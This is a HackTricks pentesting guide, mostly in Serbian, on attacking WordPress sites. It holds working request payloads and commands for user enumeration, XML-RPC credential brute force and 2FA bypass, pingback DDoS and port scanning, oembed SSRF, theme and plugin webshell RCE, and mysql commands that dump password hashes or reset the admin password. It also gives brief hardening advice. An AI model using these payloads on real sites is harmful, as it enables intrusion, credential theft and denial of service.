hacktricks/network-services-pentesting/pentesting-web/wordpress.md

23 KiB

Wordpress

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Teme se mogu naći u /wp-content/themes/, tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti 404.php datoteci u: /wp-content/themes/twentytwelve/404.php
Još jedan koristan url može biti: /wp-content/themes/default/404.php

U wp-config.php možete pronaći root lozinku baze podataka.

Podrazumevani putanje za prijavu koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
  • wp-activate.php se koristi za proces aktivacije putem e-pošte prilikom postavljanja novog WordPress sajta.
  • Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress REST API.
  • Folder wp-content je glavni direktorijum gde se čuvaju dodaci i teme.
  • wp-content/uploads/ je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.
  • wp-includes/ Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
  • wp-sitemap.xml U verzijama WordPress-a 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.

Post exploitation

  • Datoteka wp-config.php sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.

Users Permissions

  • Administrator
  • Editor: Objavljuje i upravlja svojim i tuđim postovima
  • Author: Objavljuje i upravlja svojim postovima
  • Contributor: Piše i upravlja svojim postovima, ali ih ne može objaviti
  • Subscriber: Pregleda postove i uređuje svoj profil

Passive Enumeration

Get WordPress version

Proverite da li možete pronaći datoteke /license.txt ili /readme.html

Unutar izvora koda stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link datoteke

  • JavaScript datoteke

Preuzmi dodatke

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Preuzmi Teme

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ekstraktovanje verzija uopšte

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Aktivna enumeracija

Dodaci i Teme

Verovatno nećete moći da pronađete sve moguće Dodace i Teme. Da biste otkrili sve njih, biće potrebno da aktivno Brute Force-ujete listu Dodataka i Tema (na sreću, postoje automatski alati koji sadrže ove liste).

Korisnici

ID Brute

Dobijate važeće korisnike sa WordPress sajta tako što Brute Forcujete ID-eve korisnika:

curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevalidan.

wp-json

Takođe možete pokušati da dobijete informacije o korisnicima upitom:

curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ krajnji tačka koja može otkriti neke informacije o korisnicima je:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Napomena da ovaj krajnji tačka samo izlaže korisnike koji su napravili post. Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene.

Takođe napomena da /wp-json/wp/v2/pages može da otkrije IP adrese.

Enumeracija korisničkog imena za prijavu

Kada se prijavljujete u /wp-login.php, poruka je drugačija u zavisnosti od toga da li je korisničko ime prisutno ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).

Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:

Proveri

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce kredencijali

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Pogrešno korisničko ime ili lozinka" unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.

Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način za brute-force kredencijale koristeći system.multicall jer možete pokušati nekoliko kredencijala u istom zahtevu:

Obilaženje 2FA

Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ili skeniranje portova

Ako možete pronaći metodu pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.
Ovo se može koristiti da se zatraži hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako da se izazove DDoS u toj lokaciji) ili možete to koristiti da naterate Wordpress da skanira neku internu mrežu (možete naznačiti bilo koji port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte korišćenje system.multicall u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ova datoteka obično postoji u korenu Wordpress sajta: /wp-cron.php
Kada se ova datoteka pristupi, izvršava se "težak" MySQL upit, tako da je mogu koristiti napadači da uzrokuju DoS.
Takođe, po defaultu, wp-cron.php se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).

Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može da pošalje zahtev ka vama.

Ovo je odgovor kada ne funkcioniše:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Ovaj alat proverava da li methodName: pingback.ping i za putanju /wp-json/oembed/1.0/proxy i ako postoji, pokušava da ih iskoristi.

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Pribavite pristup prepisivanjem jednog bita

Više od pravog napada, ovo je radoznalost. U CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju 5389 fajla /var/www/html/wp-includes/user.php da NOP-ujete NOT (!) operaciju.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifikovanje php iz teme koja se koristi (potrebne admin akreditive)

Izgled → Urednik teme → 404 Šablon (s desne strane)

Promenite sadržaj za php shell:

Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Možda je moguće uploadovati .php fajlove kao plugin.
Kreirajte svoj php backdoor koristeći, na primer:

Zatim dodajte novi plugin:

Uploadujte plugin i pritisnite Install Now:

Kliknite na Procced:

Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:

Pristupite mu i videćete URL za izvršavanje reverse shell-a:

Uploading and activating malicious plugin

Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:

  1. Plugin Acquisition: Plugin se dobija iz izvora kao što je Exploit DB kao ovde.
  2. Plugin Installation:
  • Idite na WordPress kontrolnu tablu, zatim idite na Dashboard > Plugins > Upload Plugin.
  • Uploadujte zip fajl preuzetog plugina.
  1. Plugin Activation: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
  2. Exploitation:
  • Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
  • Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
  • Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.

Za detaljnije korake proverite: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost na Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite ovaj post. Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X. i omogućava:
  • Privilege Escalation: Kreira korisnika u WordPress-u.
  • (RCE) Custom Plugin (backdoor) Upload: Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
  • (RCE) Built-In Plugin Edit: Uredite ugrađene plugine u WordPress-u.
  • (RCE) Built-In Theme Edit: Uredite ugrađene teme u WordPress-u.
  • (Custom) Custom Exploits: Prilagođeni exploits za treće strane WordPress plugine/teme.

Post Exploitation

Izvucite korisnička imena i lozinke:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite administratorsku lozinku:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih plugina u ovom blog postu.

  • wp_ajax

Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji bilo koji korisnik autentifikovan u Wordpress instanci može imati (nezavisno od njegove uloge).

Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Korišćenje nopriv čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).

{% hint style="danger" %} Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama. {% endhint %}

  • REST API

Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST API koristeći funkciju register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.

Ako se koristi ugrađena funkcija __return_true, jednostavno će preskočiti proveru korisničkih dozvola.

  • Direktan pristup php datoteci

Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće iskorišćena od strane bilo kog korisnika.

WordPress zaštita

Redovne ažuriranja

Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress dodatke i teme.

Bezbednosni dodaci

Ostale preporuke

  • Uklonite podrazumevanog admin korisnika
  • Koristite jake lozinke i 2FA
  • Periodično proveravajte dozvole korisnika
  • Ograničite pokušaje prijavljivanja kako biste sprečili Brute Force napade
  • Preimenujte wp-admin.php datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.


Koristite Trickest za lako kreiranje i automatizaciju radnih tokova uz pomoć najnaprednijih alata zajednice na svetu.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}